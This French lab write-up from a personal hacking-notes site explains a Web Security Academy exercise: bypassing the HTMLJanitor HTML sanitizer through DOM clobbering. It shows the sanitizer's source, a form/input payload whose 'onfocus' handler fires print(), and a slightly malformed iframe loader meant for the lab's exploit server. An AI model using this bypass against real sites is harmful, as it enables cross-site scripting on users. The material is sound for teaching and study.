> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/dom/html-filter-bypass-via-dom-clobbering.md).

# Contournement du filtre HTML via DOM clobbering

### Détournement des attributs DOM pour contourner les filtres HTML

Utilisez une faille dans le **HTMLJanitor** bibliothèque (utilisée par `loadCommentsWithHtmlJanitor`) pour contourner le filtrage HTML via **le détournement du DOM** et forcez `print()` l'exécution dans le navigateur de la victime. L'exécution automatique peut nécessiter l'utilisation du serveur d'exploitation.

La page utilise **HTMLJanitor** pour nettoyer le HTML de l'utilisateur. Le nettoyeur :

<figure><img src="/files/4d50cca311345e2cf1e1827f81171cc05f35be5e" alt=""><figcaption></figcaption></figure>

* crée un document sandbox (`document.implementation.createHTMLDocument('')`) et y injecte le HTML à nettoyer ;
* parcourt l'arbre via un `TreeWalker` et applique des règles de filtrage sur les nœuds et les attributs ;
* supprime les commentaires et désassemble certains éléments non autorisés, en réinsérant les enfants lorsque la balise est rejetée ;
* valide les attributs selon `config.tags` de configuration et supprime les attributs non autorisés.

```javascript
(function (root, factory) {
  if (typeof define === 'function' && define.amd) {
    define('html-janitor', factory);
  } else if (typeof exports === 'object') {
    module.exports = factory();
  } else {
    root.HTMLJanitor = factory();
  }
}(this, function () {

  /**
   * @param {Object} config.tags Dictionnaire des balises autorisées.
   * @param {boolean} config.keepNestedBlockElements Valeur par défaut : false.
   */
  function HTMLJanitor(config) {

    var tagDefinitions = config['tags'];
    var tags = Object.keys(tagDefinitions);

    var validConfigValues = tags
      .map(function(k) { return typeof tagDefinitions[k]; })
      .every(function(type) { return type === 'object' || type === 'boolean' || type === 'function'; });

    if(!validConfigValues) {
      throw new Error("La configuration était invalide");
    }

    this.config = config;
  }

  var blockElementNames = ['P', 'LI', 'TD', 'TH', 'DIV', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'PRE'];
  function isBlockElement(node) {
    return blockElementNames.indexOf(node.nodeName) !== -1;
  }

  var inlineElementNames = ['A', 'B', 'STRONG', 'I', 'EM', 'SUB', 'SUP', 'U', 'STRIKE'];
  function isInlineElement(node) {
    return inlineElementNames.indexOf(node.nodeName) !== -1;
  }

  HTMLJanitor.prototype.clean = function (html) {
    const sandbox = document.implementation.createHTMLDocument('');
    const root = sandbox.createElement("div");
    root.innerHTML = html;

    this._sanitize(sandbox, root);

    return root.innerHTML;
  };

  HTMLJanitor.prototype._sanitize = function (document, parentNode) {
    var treeWalker = createTreeWalker(document, parentNode);
    var node = treeWalker.firstChild();

    if (!node) { return; }

    do {
      if (node.nodeType === Node.TEXT_NODE) {
        // Si ce nœud texte n'est qu'espaces blancs et que l'élément précédent ou suivant
        // frère est un élément de bloc, supprimez-le
        // N.B. : Cette heuristique pourrait changer. Très spécifique à un bogue avec
        // `contenteditable` dans Firefox : http://jsbin.com/EyuKase/1/edit?js,output
        // FIXME : en faire une option ?
        if (node.data.trim() === ''
            && ((node.previousElementSibling && isBlockElement(node.previousElementSibling))
                 || (node.nextElementSibling && isBlockElement(node.nextElementSibling)))) {
          parentNode.removeChild(node);
          this._sanitize(document, parentNode);
          break;
        } else {
          continue;
        }
      }

      // Supprimer tous les commentaires
      if (node.nodeType === Node.COMMENT_NODE) {
        parentNode.removeChild(node);
        this._sanitize(document, parentNode);
        break;
      }

      var isInline = isInlineElement(node);
      var containsBlockElement;
      if (isInline) {
        containsBlockElement = Array.prototype.some.call(node.childNodes, isBlockElement);
      }

      // Les éléments de bloc ne doivent pas être imbriqués (par ex. <li><p>...) ; si
      // c'est le cas, nous voulons retirer l'enveloppe de l'élément de bloc interne.
      var isNotTopContainer = !! parentNode.parentNode;
      var isNestedBlockElement =
            isBlockElement(parentNode) &&
            isBlockElement(node) &&
            isNotTopContainer;

      var nodeName = node.nodeName.toLowerCase();

      var allowedAttrs = getAllowedAttrs(this.config, nodeName, node);

      var isInvalid = isInline && containsBlockElement;

      // Supprimer complètement la balise selon la liste blanche *et* si le balisage
      // est invalide.
      if (isInvalid || shouldRejectNode(node, allowedAttrs)
          || (!this.config.keepNestedBlockElements && isNestedBlockElement)) {
        // Ne pas conserver le texte interne des éléments SCRIPT/STYLE.
        if (! (node.nodeName === 'SCRIPT' || node.nodeName === 'STYLE')) {
          while (node.childNodes.length > 0) {
            parentNode.insertBefore(node.childNodes[0], node);
          }
        }
        parentNode.removeChild(node);

        this._sanitize(document, parentNode);
        break;
      }

      // Nettoyer les attributs
      for (var a = 0; a < node.attributes.length; a += 1) {
        var attr = node.attributes[a];

        if (shouldRejectAttr(attr, allowedAttrs, node)) {
          node.removeAttribute(attr.name);
          // Décaler le tableau pour continuer la boucle.
          a = a - 1;
        }
      }

      // Nettoyer les enfants
      this._sanitize(document, node);

    } while ((node = treeWalker.nextSibling()));
  };

  function createTreeWalker(document, node) {
    return document.createTreeWalker(node,
                                     NodeFilter.SHOW_TEXT | NodeFilter.SHOW_ELEMENT | NodeFilter.SHOW_COMMENT,
                                     null, false);
  }

  function getAllowedAttrs(config, nodeName, node){
    if (typeof config.tags[nodeName] === 'function') {
      return config.tags[nodeName](node);
    } else {
      return config.tags[nodeName];
    }
  }

  function shouldRejectNode(node, allowedAttrs){
    if (typeof allowedAttrs === 'undefined') {
      return true;
    } else if (typeof allowedAttrs === 'boolean') {
      return !allowedAttrs;
    }

    return false;
  }

  function shouldRejectAttr(attr, allowedAttrs, node){
    var attrName = attr.name.toLowerCase();

    if (allowedAttrs === true){
      return false;
    } else if (typeof allowedAttrs[attrName] === 'function'){
      return !allowedAttrs[attrName](attr.value, node);
    } else if (typeof allowedAttrs[attrName] === 'undefined'){
      return true;
    } else if (allowedAttrs[attrName] === false) {
      return true;
    } else if (typeof allowedAttrs[attrName] === 'string') {
      return (allowedAttrs[attrName] !== attr.value);
    }

    return false;
  }

  return HTMLJanitor;

}));
```

* Principe : injectez un fragment HTML qui crée ou écrase un identifiant d'élément attendu par le script de la page (par ex. un `<form id="x" tabindex=0 onfocus=...>`). En manipulant la navigation (fragment d'URL `#x`) ou en forçant le focus, l'attribut d'événement est déclenché.

```html
<html>
<form id=x tabindex=0 onfocus=alert(0)>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/010dac4a406744657a7b849341d874ac90047eef" alt=""><figcaption></figcaption></figure>

* Variante finale pour la cible (`print()`):

```html
<html>
<form id=x tabindex=0 onfocus=print()>
<input id=attributes>
</form>
</html>
```

<figure><img src="/files/deb3504e29154114f0f3432135a3b17e5a6ac427" alt=""><figcaption></figcaption></figure>

* Déclenchement automatique via un iframe hébergé sur le serveur d'exploitation : l'iframe charge la page vulnérable puis modifie son `src` pour ajouter `#x`, provoquant le focus et l'exécution du `onfocus` gestionnaire. Exemple de l'idée d'utiliser le serveur d'exploitation :

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a790035036b319583a1731200e90039.web-security-academy.net/post?postId=9 onload="setTimeout() => this.src += '#x',500;></iframe>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/dom/html-filter-bypass-via-dom-clobbering.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
